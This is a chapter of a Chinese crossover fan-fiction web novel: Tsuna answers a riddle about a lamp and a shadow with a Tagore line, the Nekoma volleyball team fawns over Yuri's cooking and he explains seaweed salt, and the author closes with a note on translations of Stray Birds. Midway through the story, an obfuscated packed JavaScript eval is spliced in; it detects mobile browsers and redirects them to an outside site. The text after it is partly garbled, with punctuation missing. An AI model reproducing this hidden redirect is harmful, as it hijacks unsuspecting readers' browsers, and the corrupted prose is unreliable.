第32章第32章


    【光和影】


    等幸平尤利提着纪之国宁宁热情分享给他的樱花虾和藻盐回来时，桌上就只剩下了三个人。


    泽田奈奈正喝着用面汤冲开的面露，这是传统荞麦面店才有的“原汤化原食”吃法，这种吃法的说法很多，有的说荞麦面是冷食，用面汤冲泡一下也能暖暖胃，也有说最后一口冲了面露的面汤下肚，可以加深味觉的记忆，不过不管是什么原因，在吃完荞麦面后喝一口热腾腾的面汤已经成为了传统荞麦面的收尾习惯了。


    女子眉眼弯弯唇角上扬，愉快得仿佛下一秒就要哼出小曲，反而是泽田纲吉一脸的坐立难安，在凳子上磨屁-股，就连面前的虾饼天妇罗都没能吃完，整个人害羞得好像下一刻就要夺门而出。


    而这个画面里本应该存在的最后一个人却已经不知所踪。


    提着手信的幸平尤利歪头不解，这是怎么回事呀？发生了什么？难道是阿纲和人吵架而且还赢了？幸平尤利有些疑惑地看了眼小伙伴，不是他不信任阿纲，但是……这不可能吧？！


    “尤利酱，我和你说。”泽田奈奈面上的笑容藏都藏不住：“阿纲这孩子，刚才和人说了很了不得的话呢。”


    “哎？”


    “别，别说了……妈妈……”泽田纲吉看上去简直要被懊悔吞没了，但他的挣扎完全被泽田奈奈忽视，这位母亲此刻就像是一个迫不及待想要炫耀自己孩子的笨蛋妈妈一样对卷发的小男孩说：“阿纲说啊——”


    ——“如果影子担心会被黑暗吞噬，又担心光明会让它消失的话，那提着灯会不会好一点。”


    “我的意思是，如果手里提着灯，并且将灯举在面前，那么前路会永远被灯照亮，而身后的影子，也会蔓延向更远的地方，这样它就可以和光共存并且永远存在了。”


    “……那如果，影子并不想被留在身后呢？”


    “那也很简单啊。”棕发的男孩眸光闪烁不定，面上带着懵懂，他似乎什么都不懂，又好像是看到了他灵魂里的挣扎般冲他露出了一个明亮而温暖的微笑。


    他说出口的话轻松无比，没有任何负担也没有经过深思，简单到甚至有些可笑的程度，却又是那样的理所当然：“将灯背在身上就好啦。”


    男孩：“……”


    鸢色的眼眸定定注视着他，注视着他说出下一句话：“灯在


    背后的话，影子不就可以走在人的前面了吗？”


    男孩有些羞赧地补充道：“就是那样可能会有点累，不过可以和好朋友一直走下去的话，累一点应该也是很幸福的疲惫吧？”


    “原来是刚刚他和妈妈关于影子的争论，那个很难的悖论，阿纲居然找到了答案吗？阿纲好厉害！”幸平尤利反复咀嚼着泽田纲吉的两个答案，他有些惊喜地看着泽田纲吉：“原来阿纲是把影子理解成了朋友啊，也是一个很不错的解释呢！而且后面那句话……阿纲是读过泰戈尔的诗吗？”


    泽田纲吉摇摇头，有些不明所以，幸平尤利想了想，说：“后面那一句，有点像泰戈尔的《飞鸟集》里面的一句：Theythrowtheirshadowbeforethemwhocarrytheirlaternontheback，翻译成日文就是：那些把灯背在背上的人，把他们的影子投到了自己前面。”


    “这句话有很多个解释，有人说是心中有暗的人，即便给了他光明他也只能看到影子，有人说是对于执迷不悟的人来说，就算光明在触手可得的地方他也还是会往黑暗里走，但是我更喜欢的解释是——那些背负了别人的希望的人，反而更容易看到自己的黑暗，并且为此痛苦不堪。”


    “灯在诗歌里经常被比作是带来破除愚昧力量的人，不过我是觉得，君子论迹不论心，做了光明之事的人，即便影子落入了黑暗，但他们始终是奔向光明的。啊，当然，我们的理解都是将影子理解成了自己不好的那部分，但我很喜欢阿纲的理解哦！”


    幸平尤利撞了下泽田纲吉的肩膀，因为两手都是东西不方便抱人，但因为太欢喜了，不能抱抱的话有些不能表达自己的情绪。


    于是他干脆凑过去用自己的脸颊蹭了蹭男孩的侧脸，来了个亲昵的贴贴，一边贴还一边夸奖道：“阿纲好厉害~”


    “我，不……”泽田纲吉不知是被夸还是被贴，总之脸都红了。


    他觉得自己不是那个意思，但被幸平尤利一分析，他又觉得好像心里大概就是这样的想法，不，厉害的不是他，是那位叫做泰戈尔的先生吧？


    “那个，尤利，那位泰戈尔先生的作品……我是说翻译的版本，你有吗？如果有的话可以借我看看吗？”泽田纲吉有些害羞地说：“我觉得他的诗歌好美丽啊。”


    幸平尤利笑眯了眼，显然为自己安利成功而感觉到了快乐：“有的有的，我回去就带给你，对了，其实我建议你再看一下中译版本，中-国本来就有很强大的诗歌基础，他们翻译出来的语言非常地优美，是和日文不一样的风味。”


    “我可以给你再来个日译中~放心，我有问过我同学的，保证翻译得十分精准。”


    “嗯……嗯，那拜托你了，尤利，啊，对了，刚才那个男孩……”泽田纲吉忽然想起了什么，他向着小伙伴笑着分享道：“他临走前告诉我，他的名字叫太宰治。”


    “太宰……？这个名字……”这两个字在日语里的谐音可不太吉利，这个名字不会是假名吧？


    但应该是他多想了，毕竟这个男孩和他们差不多年龄。


    他们这个年龄的人就算假名，应该也是会用：“漆黑之翼”、“绝望の星”之类的名字吧，这样才够酷。


    幸平尤利在泽田纲吉看过来的疑惑视线中摇摇头，好奇问道：“那你有留下他的联系方式吗？”


    泽田纲吉：“……”


    男孩大惊失色：“完了，我忘记了！”


    “呀，你不是之前说有点担心他……他走了多久，要去追吗？”


    泽田纲吉稍稍思索了下后，他似乎有些踟蹰，但转而男孩就微微摇头后笑着说：“不，不知道为什么，我觉得好像没有之前那么深的危机感了。”


    “是吗？”


    “嗯嗯，”男孩仰头看向外面的天空，棕色的眼眸倒映着无边无际的蓝，他轻柔说道：“他好像，有了想要去寻找的目标了。”


    幸平尤利有些不解，不过注视着好朋友勾起的嘴角，他想了想后也露出了大大的笑容：“那真是太好啦！”


    ——真是，太好啦！


    没有一刻比现在更能让音驹高校的众人觉得这次黄金周的远征是再正确不过的决定了！


    这次他们遇到了超棒的对手、小伙伴们火力全开打了个酣畅淋漓、宫城县气候适宜不冷不热，关键还有一级的伙食保障。


    音驹高校众人吃饱喝足后平躺在地上，一个个将自己摊成了一团糯米团，他们幸福地摸着自己圆鼓鼓的肚皮，面上则是挂着无比烂漫的表情。


    虽然理智告诉他们现在做的事情非常的不健康，不管是吃多也好，吃完后躺平也好，对消化功能都是一个严重的考验。但问题是今天的晚饭也太好吃了。


    这个世界上


    怎么会有那么好吃的东西？这样的幸福是真实存在的吗？我们又该如何将这种幸福的生活延续下去？哲学四问丝滑地从他们的排球脑子里划过，靠着最后的问题，在里面成功扎根。


    是哦，现在过得那么快乐，等开学后可怎么办？


    退一万步来说，他们难道就不能把才13岁的小学弟绑到学校去吗？


    小学弟你为什么才13岁呢？但凡你再大上两岁……


    “就算大上两岁，他也只有国三，不可能升学给你们做饭的。黑尾铁朗宛如大魔王一样出现在队友身边，他毫不留情地踢了踢安详入睡的山本猛虎。


    “虽然我可以理解你们的心情。但你们这些家伙能不能争点气？你们现在丢的可是我的面子哎，还有，躺了两分钟也够了，快点站起来走路消食去，晚上吃太多了，都得加训。


    “加训……一个多么让人痛苦的名词，山本猛虎深深叹息，他的眼中闪烁着泪光，像是一个出卖了自己灵魂的殉道者一般悲怆：“但是如果每次加训之前都可以吃到美味的食物，感觉也没有那么难受了。如果每天都可以吃到~加训什么，完全没有问题啊！


    “如果、每天、都可以吃到！一双双期待的目光最终还是落到了黑尾铁朗身上。


    “……黑尾铁朗嗤笑一声，从背后拉出了这群家伙觊觎的对象。


    那么高的评价吗？幸平尤利被夸得脸上红扑扑的，柔顺的黑色卷毛，像小弹簧一样，在他脑袋上晃悠，他摇晃着小脑袋，嘿嘿笑着，整个人都像是一块经过烤制的棉花糖，往外面冒着甜滋滋的香气。


    可爱！


    国中生是那么可爱的生物吗？


    为什么他们之前从来不那么觉得！


    音驹高校内最热情的犬冈走一下子被萌到心肝发颤，脑袋一热就箭步上前把人抱着举了起来。


    茫然的幸平尤利一脸懵，这个整理完厨房并且提前做完明天早餐准备，只是想要来收集一下大家对今天晚餐拉面汤头感想的小孩呆呆低头。


    嗯，地面距离他有点距离，再蹬了蹬JIO，的确没有脚踏实地的安心感。


    确认自己的处境后，小孩整个人都惊呆了，等等，为什么他这么轻易地就被举起来了？


    虽然身高稍有不足，但在体重上幸平尤利可是标准体重，被抱着举起来这种事从他小学五年级之后就没有了。


    你们打排球的力气都这么大的


    吗？


    “尤利小小只的好可爱！”犬冈走举着小小只的男孩转了个圈才把他放下来，没有注意到幸平尤利猛然变得险恶起来的表情，还一无所知地说：“我们差了30厘米，这个高度正正好好适合抱起来呢！怪不得杂志上说30里面是情侣最佳身高！”


    “哇，犬冈你小子……想的还挺多啊！”


    周围的学长们纷纷调侃小学弟的恋爱暴言，没人注意到有一位男孩已经捏起了小拳头。


    “举，举人明明是臂力，和身高有什么关系？”


    众学长看过去，见幸平尤利小脸通红，羞恼非常，纷纷露出了神秘的微笑。


    “这个事情，其实重点不是在举起来，是举起来之后的效果，嘿嘿嘿。”


    “小尤利你还太小了嘎嘎嘎嘎！”


    幸平尤利：坏了，这个是真的不懂。


    这种东西和身高有什么关系？谁说身高差得多的效果就一定好啦！


    只要臂力足够，矮的那个举高的也没问题啊。


    小男孩视线滴溜溜地从音驹众人身上扫过。


    首先，170以上的排除，毕竟手臂的长度就那么点，他总不能抱着人家膝盖把人举起来，那效果和抱大葱也没差别，170以下的嘛……


    研磨学长……


    金色的眼睛淡淡扫来，仿佛看透了他心中所想一般暗含警告。


    幸平尤利若无其事地挪开视线，就差哼个小调表示刚才的想法和幸平尤利本人无关了。


    夜久学长……


    夜久……咦，夜久学长呢？


    哦，夜久学长去揍想要把他举起来的人了。


    幸平尤利默默收回视线，忽然，他眼睛一亮，像是嗅到味道的小狗一般甩着毛尾巴就噔噔噔地跑到了体育馆门口。


    “打扰……”泽田纲吉的话说到一半，他甚至都没从蓦然打开的体育馆大门看到里


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16145525|154229||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    面的景象，就觉得腰上一紧，随着一声熟悉的“嘿咻”，他就被人举了起来。


    泽田纲吉：！


    怎、怎么了？


    突然失重的不安让他本能地伸手想要将自己固定，而肉眼可见的稳定物就是两个纤弱的肩膀，泽田纲吉将双手搭在幸平尤利肩膀上稳定住自己，然后疑惑地回头看向地面，好像也没看到什么需要让幸平尤利让他避开的危险。


    以一个十分配合的少女系动作被举起的泽田纲吉满脸茫然，但出于对小伙伴的信任，他一时没有挣扎，而是乖乖地被举着。


    而被他信赖的小伙伴则是一边感谢好朋友的信任一边给各位不靠谱的学长展示——“看！和身高有什么关系我和阿纲差不多高也能举高高哦。”


    众人：……


    高中生们的表情十分微妙知道你能举起来了你要不然先把人放下感觉那孩子有被你打击到哎。


    不过事实证明泽田纲吉的确是个脾气很好的男孩在搞明白尤利为什么要举起他后男孩只是有些无奈地笑了笑然后就和幸平尤利一起安安心心地打起了排球之后也从没提起过这件事。


    一切都看起来很平静可能只有在几年后幸平尤利屡次被小伙伴单手捞起时才能隐隐约约地意识到其实泽田纲吉超在意这件事——的真相。


    兔子急了


    “青叶城西真是热心人儿不愧是东北人啊。”在中场休息时音驹的众人一边拉着两个累趴下的豆丁起来走路一边将两个少年错过的白天故事告诉他们：“他们帮我们找了很不错的对手明天我们会对战本地的伊达工业据说这也是一支非常擅长防守的队伍或许可以从他们身上学到很多。”


    “怎么样明天的比赛非常有看头你们要来看嘛？”


    黑尾铁朗绝不放过一分钟勾引小孩的机会在他看来要培养未来的猫崽崽首要一步就是让他们意识到自己就是猫猫不要被外面的木头啦、乌鸦啦、花花草草骗过去而要让小猫崽意识到自己是猫没有比让他们跟着猫咪学习狩猎更有效的办法了。


    幸平尤利十分动心但很可惜他明天已经有了安排。


    明天他要和泽田纲吉一起去采购藻盐。


    “藻盐？那是什么？不能网购嘛？”不下厨的高中生们发出了灵魂三问。


    于是幸平尤利就和他们解释了一下藻盐的故事——顺便坐下来休息一下。


    简单地说藻盐是沿海地区居民用来减少柴火消耗的一种特殊的晒盐方式具体哪个古人发明的已经不可考使用的海藻品种也各有不同相同的是大家都是使用海藻作为媒介。


    具体的操作就是打一桶海水将晒干的海藻浸入等它吸饱海水后拿出晾晒。


    海风和日光会带走海藻上的水分留下盐分而干透的海藻则会被再次浸入海水中如此反复之后就能在不用一柴一薪的情况下将海水变成接近饱和的食盐水。


    而到了这一步


    海藻的命运还没有结束。


    它们会被烤成海藻炭，然后被丢入浓度极高的海水中去吸附海水中的杂味，如此制作出来的海盐除了盐本身的滋味外，还会吸饱了海藻的馨香，拥有格外特殊的风味。


    “虽然听起来很厉害，但它其实就是用人力替换资源，而在如今这个人力更贵的时代已经被淘汰了，剩下的也就是以‘名物’的身份存在，一般是会售卖给高档料理店。幸平尤利对着一脸：好厉害的高中生们解释：“毕竟都是盐，味道差异也没有明显到所有人都能吃出来的程度，这个就和喜马拉雅玫瑰盐一样，更多的是噱头啦。


    “你不要打破我们的幻想啊！男孩们抱头抗-议：“我们本来还想问你哪里有用这种盐做料理的，好去尝试一下呢。


    “嗯？幸平尤利眨巴眨巴眼睛，无辜可爱地说：“你们已经吃到了呀，就是今晚的拉面自助，汤底我就用了藻盐。


    音驹众人：“……！！！


    你说咩？


    作者有话要说：


    虽然14岁只有157外号兔子纲，但他的确是个战士，并且主线一路卷到了世界第二级别（就纯粹的力量来说，要是战斗经验的话肯定还是不足的）所以他高中是真没办法打排球，就算不点火能徒手爬悬崖的人，他只能去祸害隔壁超能网球，来排球的话就要带歪唯一正常的排球片场了啊！


    宝！你悠着点，被举起来的27都没内心想法了啊！


    宰要去找自己的理想了，去走一条可能很累，但要和大家一起走的道路。


    虽然没有加更……（社畜打工人真的没办法加更啊！）但是家人们，这张可是足足有5K哦！按照3K一更的话，其实已经算加更啦！！


    泰戈尔的《飞鸟集》其实不知道是不是我对英文没有那么敏感的缘故，看原文我不太能有联想到美感，但是中文翻译版真的好美丽啊，至今我觉得最美丽的版本还是最早的郑振铎版本，并不是后来者不优秀，只是那本太惊艳了，还有一个是姚华版本，他将翻译也写成了诗，叫《五言飞鸟集》也很美丽。


    举个例子：


    原文：??Whatyouareyoudonotsee,whatyouseeisyourshadow.


    郑振铎：你看不见你的真相，你所见的，只是你的影子。


    姚华：我身不自见，我见非真相。如将影悟身，谓身亦已妄。


    是不是很有意思？


    顺带一句，我对这句话的理解是：你对世界的认知取决于你自身的经历，有点类似于：我心有佛所见皆佛，我心有屎所见皆屎的意思，所以当你遇到杠精的时候，想想对方可能是因为太不幸了没办法共情，会好很多（今日开解+1）


    今天发50本尤利宝宝翻译的中译日版本的《飞鸟集》一本，嗯？看不懂日文，没问题，尤利提供朗读服务！